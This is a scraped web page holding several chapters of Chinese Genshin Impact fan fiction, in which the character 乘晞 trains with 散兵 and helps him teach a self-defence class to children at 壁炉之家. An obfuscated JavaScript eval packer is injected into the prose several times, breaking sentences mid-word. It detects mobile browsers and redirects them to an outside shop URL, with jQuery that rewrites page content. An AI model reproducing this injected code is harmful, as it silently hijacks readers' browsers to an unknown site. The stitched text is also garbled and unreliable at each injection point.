冲突发生时,乘晞使用传送闪现到对方身后,仓促间调动背包取出武器。 穿越前他为了清理背包容量,三星武器除了限量的几种外,其余都各自只留一把满级满精炼度的作为纪念,再多余的就融了当经验材料了。这也导致他背包里最多的武器不是三星武器,而是经年累月抽卡抽到的四星武器。 乘晞当时随手抓了一把,抓出来的就是西风猎弓。 见达达利亚还是一脸疑惑,乘晞又解释道,“因为弓最轻。” 要选出一把能反制偷袭者的武器,法器类别的,乘晞没有元素力无法使用,比起其他的剑和长枪或者棍,弓箭是最轻的那种。 达达利亚显然没连上乘晞的脑回路,脸上的疑惑更多了。 他擅用弓箭,在使用上具有不少独家心得,乘晞也不是寡言的人,二人不在同一频道的鸡同鸭讲了好一阵,但彼此都聊得十分畅快。 乘晞说得口干舌燥,正准备神不知鬼不觉的从面板背包里取饮料喝,余光就捕捉到不远处的紫发身影。 对方大概早就看见了他。但和他对上视线之后,又把头扭开了。 乘晞一阵风似的跑了过去:“散兵大人!” 散兵后撤一步,避开某个家伙飞扑而来的热情。 按照二人之前的约定,他很早就在训练场了。恰逢新兵入驻的日子,外面来往的人群吵吵闹闹,他又往更里面走,找了个安静的地方等人。 等了许久,也不见要等的人来,他从里间走出,正打算折回去看看,就瞧见某个家伙姗姗来迟,还边走边和别人聊天。 散兵瞥了达达利亚一眼,目光回到乘晞身上:“不是聊得很开心么。怎么不聊了?” 29.29 乘晞绕着散兵转了半圈,凭空变出一瓶柑橘味的汽水,双手捧给对方,“给你带了饮料。散兵大人你渴不渴?” 散兵:“嗯,渴。” 乘晞准备收回的动作一顿:“?” 他原本以为对方不会喝,问这话也只是客气一句,没想到散兵完全不按照套路出牌。 散兵自然知道这家伙心里在想什么。不过是借着与自己说话的角度,遮挡手上的动作,不将隔空取物的能力暴露于旁人面前罢了。 散兵平平伸出手,掌心向上,好整以暇的看着对方。 二人说话间,后面的其他人也走过来。周围的人多起来了,还有路人与陌生人在,乘晞也不好再往外取第二瓶饮料。 散兵中指与无名指并在一起勾了勾。催促意味明显。 乘晞眨巴着眼睛纠结两秒,十分不舍的交出汽水,放入对方掌心。 散兵拿起饮料瓶。乘晞的目光始终追随着汽水,眼中光亮都跟着暗了几分。 散兵见状,慢条斯理的拧开瓶盖,当着对方的面喝了一口。 乘晞眼巴巴的看着,“散兵大人,可以给我也喝一点吗?” 他是真的渴了。 散兵:“不行。” 乘晞试图讨价还价:“就喝一口,一口也不行吗散兵大人?” 散兵:“你送出去的东西,怎么还有收回去的道理。” “……”乘晞被噎回去了。 银发少年扁扁嘴,连头顶的呆毛都跟着耷拉下来。 散兵欣赏了一会这个家伙可怜兮兮的样子,终于从身后拿出早就准备好的水,变戏法似的伸到乘晞面前:“给。” 乘晞立刻满血复活:“就知道散兵大人最好了!” 他欢喜的接过去,心满意足的拧开瓶盖,很快就喝掉了半瓶。 旁观了全程的珍妮丝与杰卡德:…… 是在逗人吧,就是在逗人吧! 只有达达利亚目光清澈:难道执行官和副官之间应当是这种互动模式吗?他才成为执行官没多久,对愚人众的内部事宜了解还不充分。 看着咋咋呼呼的乘晞,达达利亚开始怀疑有关散兵喜静的传闻究竟是真是假。 走入训练间,外界的喧闹被隔离开来。场地内温度恒定调控,武器一应俱全。 乘晞脱了外套,跟在散兵身旁摩拳擦掌。 “武器主要分单手剑、双手剑、弓、长柄武器、法器五类,每种类别的使用方式不同,在此基础上形成各类变种。”散兵向乘晞介绍,“你想学什么。” 乘晞其实挺好奇,散兵平常会使用什么类别的武器。他只知道日后的散兵在成为流浪者后,使用的武器是法器,如今对方身为执行官,有关专武的介绍在游戏文本中尚且空白。 “散兵大人,你哪种武器用得最顺手?” 散兵:“都顺手。” 他最初加入愚人众的时候,因为人偶之躯被当做杀戮武器培养,每天除了在实验室里接受痛苦的实验,就是被派去深渊与无尽的魔物鏖战。 日复一日的生活如同机械般运转,渐渐的,他什么武器都能掌握,什么武器都能在他手里发挥出最大的作用。 “诸武精通,”乘晞道,“不愧是散兵大人!” 这话换做任何其他人来说,都是拍马了,散兵想。但银发少年看向他的眼神亮晶晶的,每一个字都充满了真情实感。 乘晞:“所以散兵大人教我哪种武器?” 散兵:“你来选。” 乘晞眼睛转了转:“选什么你都教吗?” 散兵疑惑对方为什么有此一问:“当然。” 乘晞心说小孩子才做选择:“那我全都要学。” 散兵:“……行。” 他走到武器架旁,“你先学哪种?” 乘晞礼尚往来:“你来选。” “选什么你都学?” “嗯嗯!” “那双手剑吧。” “嗯——嗯嗯嗯?” 乘晞没成想自己被摆了一道。但散兵已经率先拿起了剑,并再次以好整以暇的姿态等着他动作。 这一定是报复!乘晞在心里腹诽。 他慢吞吞挪上前,费力的从架子上取下一把剑。 同样的一柄大剑,拿在散兵手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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乘晞:“但我觉得练双手剑挺好的。散兵大人这样选,肯定是为我好。他一定是希望我筑牢基础,为我着想长远!” 达达利亚缓缓冒出个问号:? 散兵没说话,只是瞥了达达利亚一眼。意思是新手本人都没意见,你又有什么意见。 达达利亚:“……哦。” 合着这俩一个愿打一个愿挨,玩得挺开心呢——他真多余好心开这个口。 30.30 关于乘晞想要习武这件事情,散兵最初怀疑过对方是否只是一时兴起。 但随着他的观察,他发现乘晞确实并非三分钟热度,每次都早早到达指定地点,练习也十分认真。 乘晞当然没指望自己在短时间内,能练就什么惊人的本领,但他希望日后在面临更严酷的危险时,自己可以不成为对方的拖累。 散兵让乘晞练习双手剑,同样没指望对方能用得如臂指使,纯粹为增强这家伙的体能。 大概一周之后,乘晞已经能掌握几式简单的剑招了。这个时候再换成单手剑,乘晞根本不会嫌沉,甚至还拿在手里掂来掂去。 但乘晞没有元素力,近身作战的风险太高,散兵教了对方一些防身的剑招,更倾向于将教学重点放在弓箭上,进行远距离战斗。 嗖——羽箭离弦而去,射中箭靶中心的黄色区域。 虽然不是满环,但对乘晞而言,也是可喜可贺的成绩了。要知道,几天前他射出的第一箭,可是直接歪到连箭靶的边都没沾着。 在高强度练习下,乘晞的箭术水平逐步上涨。 他指着射中的黄圈向散兵炫耀,散兵只是“嗯”了一声。 乘晞对散兵平淡的反应不满,“九环,”他强调,“这可是九环诶!” 散兵凉凉道,“又不是十环。” 于是乘晞又拿起一筒箭,一支支射出去,以量取胜,还真有一次射中了靶心。 他指着箭靶,乐颠颠跑去散兵面前,“这次呢?” 浑身上下都写满了“快夸我”。 散兵勉为其难道,“不错。” 乘晞坚称两个字太短、不足以表达夸赞之人的诚意,散兵妥协的在前面加了个“很”。 于是乘晞兴高采烈的去射下一筒箭了。 看台上的黑衣人们沉默了。 当初他们还是新兵的时候,有个同伴箭术了得,在训练中十发九中靶心,因此也有些自满。然而散兵当时只是冷漠的看了对方一眼,反问“战场上的魔物会站在原地不动,脑袋上画个红心给你瞄准了打么”,就令对方灰溜溜的回去继续练习了。 杰卡德叹息一声:“咱们大人,他变了。” 珍妮丝则想,散兵其实还是那个散兵,只是因为面对的人是乘晞吧。 中场休息时间,乘晞擦去额头的细汗,去休息区找水喝。 射箭虽然不是什么剧烈运动,但也十分考验体力。他现在略微有些喘,脸色也是红扑扑的。 相比之下,散兵的状态就波澜不惊的多,完全不像刚刚运动过的模样。 乘晞做了几组深呼吸,又把清水灌了半瓶,终于觉得自己活过来了。 他托着下巴,盯着身旁的散兵看,看了一会又很轻的笑出来,“以前的我绝对想不到。” 散兵:“想不到什么?” 乘晞:“想不到未来会有一天,能让散兵大人亲自教我习武。” 散兵:“……这也值得你傻笑?” 银发少年因为托下巴的动作,随着讲话腮帮鼓动,脸颊上的肉鼓鼓的。让人看着看着,生出一种想捏一下的冲动。 散兵压下突兀的思绪,有些匆忙的挪开目光。这种想法……也未免太奇怪了。 “哪里傻了,”乘晞不服,“如果你当老师的话,一定是一个超级好的老师。” 这话也就这家伙能说得出来了。散兵在心里叹了口气。 “我说真的,”乘晞还在细数他的优点,“散兵大人你看,你那么有耐心,教的还细致,讲的也清楚。而且还那么好看,声音又好听……” “虽然存在一定程度的导致学生看着你走神而忘记听课的风险,但也可以在极高水平上提升学生上课的积极性和努力程度……” 听着这家伙越说越离谱,散兵没好气道,“我没有当老师的兴趣。” “看来我是那个幸运儿,”乘晞美滋滋,“能够有幸获得散兵大人的爱心支教。” “……”散兵不理他,低头看发出振动的通讯器。 看完新消息后,散兵的脸色肉眼可见的黑了一层。 “怎么啦散兵大人?”乘晞问东问西。 散兵默默把自己的通讯器推给对方看。 ——说什么来什么,他还真得去爱心支教了。 消息是市长先生发来的,以十分公事公办的语气,要散兵参加几日后的公益课堂活动,地点在壁炉之家。 这自然是公鸡一手策划安排的、用以维持愚人众执行官在公众面前良好形象的公开活动——用散兵的话说,就是“事先编好剧本的无聊戏码”。 公鸡的准备工作属实完备,甚至已经做好了预先调查。消息的末尾说,公益课堂的主题无需忧心,已经帮他选好了大致方向,他可以自行准备相关内容。 后面附了一段视频,乘晞好奇的点开看,发现是官方媒体记者进行的采访,在壁炉之家的孩子们中进行所谓的民意调查。 录像画面里,记者言语间简洁而又生动的将散兵介绍给大家,孩子们听得心驰神往。 散兵“呵”了一声,“采访的那几个小孩,说不定都是找来的演员。” 他不喜欢小孩子,也和公鸡明确表示过他很烦人类幼崽,结果还是被对方安排了这样的行程。散兵严重怀疑,这是他这位同僚因上回招新讲演被拆台,而对他的挟私报复。 “也不一定都是演员吧。”乘晞嘀咕。 他注意到,视频画面的角落有个小男孩,淡金色的头发遮住一只眼睛,怀里抱着一只玩具机械企鹅。 “怎么,”散兵见乘晞盯着视频发呆,“你很喜欢小孩子?” “他们挺可爱的。”乘晞回答。尤其是在听完记者讲散兵的故事,七嘴八舌的说执行官大人真厉害、自己以后也想成为这样的人的时候。 散兵不知道乘晞心里在想什么,闻言只是嗤了一声。 他以前和其他执行官出席某个活动的晚宴,现场有至冬贵族家的幼童,被侍女抱着见到他的时候,哇的一声哭出来。 虽说此事纯属凑巧,但散兵身旁的政要正与贵族寒暄,对方就此打趣他,说他吓哭小孩。 彼时,散兵脸上带着礼貌的社交微笑,口中颇为不留情面的回敬了那位好事者。 都说年幼的孩童纯真而懵懂,能够感知到世间最原始的善恶……散兵心里冷漠的想,自己这种双手沾满鲜血的人,染了浑身罪孽也在情理之中。 “一节理论课、一节实践课,”乘晞将信件的内容总结,打趣道,“散兵老师要准备一下教案吗?” “真是麻烦,我情愿花这个时间下深渊打魔物。”散兵冷冷看着发信人的头像,试图用目光透过屏幕剜发信人的脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599098|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袋。 在公鸡准备好的民意调查里,壁炉之家的孩子们表示,希望散兵能向他们讲解有关深渊的知识,并教授他们一些体术技巧。 深渊知识好说,散兵自担任执行官以来,就始终在与深渊打交道,做一些科普也是手到擒来。但在体术方面,他擅长的是出手动辄取人性命,对于小孩子们来说,还是有些过于凶猛了。 下属们也来出谋划策,甚至帮忙搜集了资料,拿出一堆什么防身术擒拿术如何在被挟持的危机中脱困之类的图文解说。 虽然这些内容都有些理想化了,比如真正的敌人如果扼住你的脖子,下一秒就会割断而不是给你机会反击,但毕竟要用与教学,目的也只是击退敌人不是杀死敌人。 散兵看完评价:“像过家家。” 不过,用来应付公事刚刚好。 “实操展示需要对练,只一个人肯定不够。” “大人会找谁做搭档呢?” 黑衣人们纷纷往银发少年身上瞟。 如果没猜错的话,应当有人乐于自告奋勇。 “我来!”果然乘晞激情举手。 他甚至设计好了场景:“散兵大人扮演独自出门在外的花季少男,我来扮演图谋不轨、原本打算劫财后来又打算劫色的歹人!” 散兵:“……少在这里加戏。” 话虽这么说,乘晞当助教的事情就这样敲定了。 完整的演示需要两人相互配合,乘晞和散兵约定时间提前演练。 虽然演示过程会刻意收力,但被反制的动作多少会造成疼痛,散兵不理解这家伙为什么如此自告奋勇的想当沙包,直到二人开始排练。 乘晞眼睛里闪着某种散兵看不懂的光芒:“散兵大人,我可以开始了吗?” 按照教程,他们要展示如何在被威胁的情境下脱困。 乘晞从身后挟持散兵,一手压住对方的肩膀,另一手横在对方身前。 目光落在对方颈后,那里有脊椎凸起的骨节,在低头时尤为凸显。肌肤间有浅色的印记,没入战斗服紧实的布料之下。 散兵还没开始动作,乘晞的禁锢就松了。 他看向身后的银发少年,发现对方在走神:“你专心一点。” “嗯嗯!”乘晞立刻回神,调整好动作。 目光再次不受控制的落回原来的位置——这就是神纹吧!感谢训练室内的恒温调控设计! 至冬气候寒冷,散兵在外总是披着斗篷,以至于乘晞从没有注意过对方的内搭细节。 散兵发现对方又走神了,再次提醒:“专心点。” “哦哦!”乘晞重新回神。 话说散兵一直穿紧身内搭来着……但印象中都是高领。今天二人为演练换了衣服,感谢战术服! 不仅领口更低,布料也与肌肤十分贴合,刚好能勾勒出—— “乘晞。”散兵直接叫了对方名字,“挟持的动作很难吗?” 这个家伙几次三番走神,令他不由怀疑对方今天是不是没睡醒。 散兵干脆亲自上手,教对方如何动作。他回身绕过银发少年,三两下从后方挟持住乘晞。 “就这样。”散兵陈述道,“记住了没?” “没、没记住。”乘晞兴奋的结巴道,“可以再来一次吗?” 散兵:“……?” 31.31 排演过程堪称兵荒马乱。 散兵发现,许多动作乘晞学不会,但也不是真的学不会——非得要他亲身示范过一遍之后,对方就忽然学会了。 散兵严重怀疑这家伙是故意的,可惜找不到证据:“你的脑子里到底在想什么。” 乘晞眨眨眼,“你不会想知道的,散兵大人。” 挟持的动作终于练习熟练,但到了反制的过程,还不等散兵动手,乘晞就几乎投降了。 散兵:“……你能不能进入一点角色。” 乘晞乖巧:“我努力。” 紧接着就再次毫无表演痕迹的借着惯性往散兵怀里歪倒。 “你到底行不行,”散兵威胁道,“再不行我就换人了。” 可惜一众黑衣属下非常有眼色,早就默默退出可联络距离之外,为二人留出了充分的独处空间。 几番摸索,散兵终于找到了制裁乘晞的方法——别下手太轻。 比如有个动作是反扭对方的胳膊使对方泄劲,散兵这回不那么刻意收力,乘晞吃痛就立刻回神。 乘晞试图卖惨,但散兵心中有数,清楚这种程度完全不会伤到对方。 他油盐不进的回怼,并要求乘晞也把这套体术技巧学会,理由是助教不能让他白当。 乘晞起先还十分兴奋的说,“太好了,是角色互换!” 紧接着就“嗷”的一声被散兵扭住肩膀。 武力威胁之下,乘晞终于暂时收敛胡思乱想,把全部注意都用来学习动作技巧。 * 公益活动当天,散兵需要与官方派来的记者会面,走形式完成一些采访,乘晞则先行前往壁炉之家。 他搭乘愚人众的交通工具前往,一路上也听到了不少乘客的闲谈。 壁炉之家收容各国流落的孤儿,由执行官第四席「仆人」掌管。虽然对外是一家福利机构,实际上这些孤儿均会接受系统培养,长大后为愚人众效力。 「仆人」之位经历过迭代,现任仆人将前任库嘉维娜亲手斩于决斗场中,众人只知女皇宽恕了她弑母的罪孽,并准许她承袭“阿蕾奇诺”的名号。 听闻近日仆人与博士产生了些许摩擦。博士与先代仆人保持过多年合作,他回收壁炉之家“淘汰”的孩子作为实验体,并将部分实验成果作为报酬与对方共享。 阿蕾奇诺自上任以来,坚持壁炉之家不容许背叛但也绝不会抛弃的原则,否决了多托雷提出延续合作的多半提案,两人在洽谈中不欢而散。 人们在提起仆人时只知她的偏执与疯狂,当事人似乎也有意推波助澜,于是真相便掩埋于无人探究的迷雾之中了。 旁边的这位乘客便就此事展开高谈阔论。中年男人一副指点江山的语气,痛斥新任仆人妇人之仁,比起前任成不了大事,也对不起愚人众拨给壁炉之家的大量经费。 末了还试图从旁人身上寻找认同感,默认乘晞是他的听众,装模作样想拍对方肩膀,“年轻人,有没有悟出什么道理?” 乘晞避开对方的手,笑眯眯道,“我猜你既没有仆人拥有的权力,也没有对方掌管的财富,相形见绌之下,只剩一张丢进火里烧成灰还硬着的嘴。” 旁边也有声音附和乘晞,显然早就看不惯这种人装腔作势。 中年男人十分恼火,再度痛斥阿蕾奇诺的行为在浪费社会资源,声称福利院对孤儿的收容本就是莫大的恩赐,先代仆人为了伟大的计划牺牲亲生女儿也在所不惜,这样的举措才值得称颂。 这回就连旁听的青年也开始翻白眼了:“既然如此敬佩她,你不妨也效仿一下,把你的孩子送去多托雷的实验室。” “这位哥哥,你的话可有些伤人了。”前座有个少年接话。 他看似劝阻青年,实则笑嘻嘻的嘲讽中年男人,“毕竟,这位先生连生育功能都没有,又怎么会有孩子呢。” 中年男人心中惊疑,警惕的看向发话的少年。 他在上车之前,确实去过医疗场所,以咨询自己某种功能障碍的治疗方式——但这个少年为什么会知道?明明以他的士官权限,病历的隐私内容应当严格保密才对。 少年瓷白的面具遮住了上半张脸,露出的嘴角挂着漫不经心的笑。 中年男人虚张声势的提高了声音,“哪来的死小鬼!这里没有你插话的地方。” 少年拍了下脑袋,“不对,我想起来了。这位先生虽然没有生育功能,但却是有孩子的,几周之前,他还带孩子去医院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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门庭的翠松积满了雪,建筑以木褐色的基调为主,透过大片的落地窗,能看见房间里温暖燃烧的壁炉。 两个矮小的身影在路边弯着腰忙碌。 一人手里拿着把弓,射出的箭矢带有火元素力,将路面的积雪融化;另一人则催动风元素,将融化的雪水驱散至道路两旁。 男孩头戴毛茸茸的护耳,压住了鬓侧的一缕编发,领口系着暗红的蝴蝶领结;女孩与他有着相似的容貌,毛线帽盖在头顶,被猫耳顶起两处尖角,蓝绿色的蝴蝶结缀在脑后。 乘晞认出了兄妹二人,“林尼,琳妮特?” 32.32 未来在欧庇克莱歌剧院的舞台上大放异彩的魔术师与魔术助手,此时还不过六七岁的年纪,脸上带着尚未褪去的婴儿肥。 他们同时看向乘晞,仰起头显得眼睛圆溜溜的,“……你好?” 虽然乘晞穿着愚人众的服装,但两个小家伙见到陌生人,还是有些警惕。 直到乘晞出示了自己的来访登记文件,二人才放下戒备,称呼乘晞为“助教老师”。 乘晞注意到,林尼的手腕上缠着绷带,便关心道,“你受伤了?” “一点小擦伤而已,并不妨碍行动,”林尼笑着眨眨眼睛,“没关系的。” 乘晞则想,普通的擦伤根本不需要到包裹绷带的地步。 琳妮特没有说话,只是轻轻扫了自己轻描淡写的哥哥一眼。 “你把手给我。”乘晞在意识中展开面板。 林尼还没反应过来,就见一阵柔和的光芒笼罩了自己的伤处,很快那阵光芒消失,而伤口的疼痛也不复存在。 “诶?”他有些难以置信,反复转了几次手腕,发现真的能够活动自如了,“这是魔术吗?” “治疗魔法。”乘晞神秘道。 外面温度低,乘晞将两个小家伙带去室内。 他转身想叫上面具少年,却发现身后并没有对方的身影——面具少年大概自从进入壁炉之家后,就不知道跑哪里去了。 从与林尼和琳妮特的聊天中,乘晞了解到,如今壁炉之家收养的孩子不过几十人。大多数孩子都是上任仆人在时就已经收留的,只有他们兄妹二人,是阿蕾奇诺上任后被对方新带回来的。 兄妹二人自小相依为命,靠在街头表演魔术勉强果腹。后来有贵族看似好心的将二人收养,实则不过利用,并将琳妮特当做礼物讨好权贵。阿蕾奇诺抹除了心怀不轨之人,兄妹二人也自愿成为对方的养子养女,成为壁炉之家的家人。 兄妹们向乘晞分享了自己的日常生活,也讲述了一些出任务的细节,当然,很有原则的没有透露任务的具体内容。 林尼说完之后,有些期盼的等着乘晞的回应。 琳妮特也是如此,只是表情依旧淡淡的,只有眨眼的频率流露出她内心的好奇。 对于乘晞会给出怎样的评价,二人其实心中没底。 以往旁人听闻他们的日常行动,只觉得同情,摇摇头说他们可怜,这么小的年纪就要被迫经历风吹雨打,顺便又提起现任仆人,说她果真冷酷无情,就连小孩子也要成为她的工具。 但明明不是这样的。 是他们想要主动走进风雨,在复杂的社会中摸爬滚打。阿蕾奇诺大人也不是像传言中那般无情,虽然取了“父亲”这个看似严苛的名号,但柔软的关怀总是藏在不易察觉的冷硬之下,无微不至环绕在他们周身,从未远离。 “很厉害,”银发少年听完,神色充满鼓励。 他笑眯眯的,“小孩子能做到许多大人做不到的事情。有些任务在你们手中,说不定会比那些大人完成得更出色呢。” 琳妮特和林尼第一次听到这样的回答,眼睛都亮起来了。 原来真的有人会从不一样的角度看待他们,倾听他们的分享并给出回应,而非高高在上的故作怜悯。 对于二人复盘的任务行动,乘晞也给出了自己的建议。 比如变装时,比起携带假发和道具改换发型,也可以尝试使用元素力。兄妹二人掌握的元素刚好能够制造热风,只要控制得当,或许能在更短的时间内变幻造型。 他也提起在接近任务目标的时候,二人如何表现能够更加有效的降低任务对象的防备心理。 几人逐渐相谈甚欢,兄妹们对乘晞的称呼从“助教老师”逐渐变成了“助教哥哥”。 二人还向乘晞展示了他们最近发明的小魔术。 林尼拿出礼帽,几次盖上又掀起,从帽子里变出一盏咖啡杯。 礼帽灵活的旋转,从林尼手中传向琳妮特。 等琳妮特再次掀起礼帽的时候,空荡荡的咖啡杯里出现了飘散香气的咖啡。 林尼操纵元素力,给咖啡表面添了个笑脸形状的拉花。 两人将咖啡递给乘晞,“哥哥你尝尝。” 乘晞喝了一口,入口醇香。 两个小家伙满意的看着乘晞的反应,说这是从枫丹进口的咖啡液。 “我们两个是双子,对彼此的熟悉程度无人能够比拟。”林尼拉起琳妮特的手,“我们坚持钻研和练习,一定要排演出一场在整个至冬都独一无二的魔术。” 琳妮特耳尖动了动,也坚定的“嗯”了一声。 “说不准不只是至冬哦。你们会成为全提瓦特最棒的大魔术师和魔术助手,”乘晞没忍住摸摸他们的头,“你们会登上最大、最耀眼的舞台,完成一场足以载入史册的华丽表演。” 两双圆溜溜的大眼睛闻言,亮起了期盼的水光。 乘晞在毛茸茸的头顶上揉了揉。 如果世界上没有熊孩子,全都像这两只小家伙这样,他都不敢想象世界会有多美好。 散兵到达壁炉之家时,进门就看见这一幕: 银发少年坐在厚地毯上,怀里抱了个靠枕,正神采飞扬的讲着什么。身边围了一圈小不点,全都仰着脑袋听。 对方见他来了,脸上染了笑意,起身走向他。 身后的那群小不点跟着也围拢过来,学着对方叫他“散兵大人”。 作为助教的乘晞,在小孩子们中很受欢迎无形中拉高了对于课堂的期待值。因此,等散兵开始讲课的时候,一众小朋友也听得十分投入。 散兵站在台上读课件,目光扫过一张张稚嫩的面孔,以及某个在角落里托着下巴看他的银发家伙。 心中泛起某种微妙的感觉。 好像……小孩子也没那么烦人。 实践课堂上,助教乘晞堂堂登场,同散兵配合演示如何脱困的体术技巧。 乘晞多次提出过的“登徒子”与“美少年”角色人设被散兵无情毙掉,被替换成更适合壁炉之家宝宝们体质的“深渊大坏蛋”和“愚人众超级特工”。 乘晞扮演的深渊祭司将散兵劫持,而散兵扮演的超级特工凭借纯熟的技艺,交锋之下,将对方反制。 身份在此时对调,原本的捕猎者成为了猎物,伴随着台下观众的倒吸气声,形势瞬间调转。 手肘被散兵从身后扭住,动弹不得。 轻薄的皮质手套贴合指节,捏住乘晞的下巴,对方的呼吸近在咫尺。 “!” 乘晞内心的小人要晕过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16617389|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了。 这不是制服play是什么!怎么演练的时候没叫对方穿这身衣服呢! 依据编排好的剧本,散兵的角色将以一句帅气的台词收场—— “哦?”他挂起一个愉悦但恶劣的笑容。“从你眼中,我看到了对死亡的恐惧。” 乘晞内心的小人艰难的擦掉鼻血。他将把这一幕刻进烟里吸进肺里印在视网膜里裱在脑子里带进棺材里!(吸烟有害健康不要吸烟) 他不着痕迹的把下巴往对方的手里凑了凑。 等了一会,散兵没有下一步动作。乘晞终于想起来,自己好像是要说台词的。 ——但台词是什么来着?谁家好人在这种场景下还能够记得台词啊…… 散兵向乘晞使眼色。 意思是,如果真的忘了词,随便接一句大意差不多的就行。 乘晞睫羽轻颤,没忍住道:“怎么会呢,我明明满眼全是你。” 散兵:“……?” 这家伙在说什么??原本的台词里有这句吗??? 对方随便说的这句,与原先的台词比起来,不能说含义贴近,只能说是毫不沾边。 但见台下小朋友们都目光灼灼的看着他们,表演还得继续进行下去。 散兵瞪了乘晞一眼,不过这家伙丝毫没有口出胡言的罪恶感,反而莫名其妙的更开心了,表演也肉眼可见的更加投入起来。 剧本进行到最后,深渊大坏蛋偷袭不成,被愚人众超级特工制服,表演终于接近尾声。 乘晞还试图在这个环节加戏,被散兵在后腰掐了一把,强行将表演收尾。 体术技巧演示缓解结束,进入实操练习时间。 有几个小朋友向散兵提问,散兵一一解答了,并指导了小家伙们的动作细节。 他转身寻找乘晞,发现自己的助教正在旷工,独自呆在角落里,也不知道在想什么。 散兵疑惑的走过去。 就见乘晞捂着腰蹲在一旁,神色恍惚缥缈,正对着空气露出神秘微笑。 * 晚餐时间,忙碌了一天的阿蕾奇诺回到壁炉之家。 桌面上时不时传来餐具的碰撞,其余便是安静的咀嚼声音。小家伙们晚饭都吃了不少,原本挑食的几位甚至还多吃了块黑面包。 看起来,在今天的公益课堂里,小家伙们都过得很充实。 阿蕾奇诺暗自点了点头,询问孩子们今天的课程如何。 “学到了很多有用的防身知识。”琳妮特总结。 阿蕾奇诺:“比如?” “比如在战斗总被敌人威胁时,可以向对方讲情话!”林尼举手抢答,“这样对方就会满脸空白,不知道该怎么办啦!” 一众小朋友纷纷点头,表示赞成。 “……?” 阿蕾奇诺:“还有别的吗?” 小朋友们被问住了,个个都皱起眉头,仔细回忆。 “还可以攻击敌人的后腰,”观察入微的琳妮特补充,“这个部位似乎很敏感,能够一招制敌。” 一众小朋友听完恍然大悟,掏出小本本准备记笔记。 “…………” 阿蕾奇诺默默制止了试图记笔记的孩子们,并把散兵和乘晞加入了壁炉之家黑名单。 33.33 公益课堂结束之后,本着善始善终的原则,散兵需要例行公事的再次接受采访,应付媒体与记者。 他们离开壁炉之家,去市长先生安排好的场地完成后续的流程,诸如回顾愚人众为慈善事业做出的种种建树、邀请社会名流进行资金募捐等等。 乘晞身为助教的工作已经完成,接下来的公务无需他再次露面。散兵担心他无聊,告诉他可以先行返回驻地。 不过乘晞没急着离开,而是在壁炉之家闲逛。 一整天都没见到仆人,这令乘晞有些意外。在他的印象中,后世的仆人在枫丹呈现出兼具胆识与魄力的外交手腕,而今天乘晞跟随散兵来访壁炉之家,仆人却未曾出现,多少有些奇怪。 难道是在忙别的事情?他边想边往前走。 有个少年声音轻轻“咦”了一声,“大哥哥,你怎么还在这里?” 乘晞抬头,与瓷白面具的少年对上视线:“是你。” 二人白日里曾有过一面之缘。在车上相遇后,乘晞与那少年一同在壁炉之家下车,随后少年便不见踪影。 “你之前去什么地方了?”乘晞问完,又觉得有些唐突,“我的意思是说,今天有执行官来这边讲课,还以为你也会来听课呢。” “可惜我没能参加,”面具少年吐了吐舌头,“偷偷翘掉公益课堂的话,助教大哥哥你不会记我缺勤的吧?” “自然不会,”乘晞善解人意道,“我只是好奇,并没有指责于你的意思。” 他还记得之前在散兵邮箱里看过的那段采访视频,里面有不少孩童的面孔,都和今天课堂里的学生们一一对应。面具少年并没有在那段视频里出镜,大概因为他略显奇怪的打扮不符合媒体报道通稿的筛选标准。 还有一个人,抱着机械企鹅的菲米尼,这算是为数不多乘晞比较熟悉的面孔之一,今天却没有在课堂上遇见。 “开个玩笑嘛,”面具少年俏皮道,“我没有听课,其实是因为去执行任务了。” “没想到,你们的任务会这样繁忙。最近是有什么情况吗?”乘晞问,“你们的执行官看上去也很忙的样子。” “你说的是阿蕾奇诺大人吧,”少年了然,“公鸡大人原本还安排她在今日的活动中接受采访,不过被她拒绝了。阿蕾奇诺大人说,今天活动的主角不是她,她也无意将宝贵的时间浪费在陪同事走无聊的形式上。” “真是丝毫不留情面呢。”乘晞评价。 少年笑道,“虽然如此,阿蕾奇诺大人却在晚饭十分回到家里,同孩子们说了会话。尽管在那之后,又很快因为任务离开了。” 公事繁忙,不参与树立威望和赢取民心的采访,却抽出时间特地回来看望收容的孩子——不得不说,确实符合仆人的行事作风。 “深渊时有异动,拔除魔物的战斗工作多半落在第六席身上,”面具少年继续解释,“今日他有另外的安排,因此原本由他负责的任务,便暂时由阿蕾奇诺大人接管。” 乘晞点点头。仆人真是一位可靠的同事。 “那你先前出的任务,也是和深渊相关吗?” “没有那么严重,”面具少年道,“只是一些普通的战斗而已,与执行官承担的工作完全比不了。” 说到这里,少年有些不好意思的提出请求,“其实在出任务的时候,我的同伴被机械攻击了……能不能麻烦你去看一下?” “不麻烦。”听说有小朋友受伤,乘晞收起闲聊的心思,连忙让对方带路。 面具少年带着乘晞,在松木间的小路中穿梭,来到了偌大院落的一角。 这里有栋稍显破败的建筑,大概已经废弃。常年无人清扫,地面都积了一层灰。 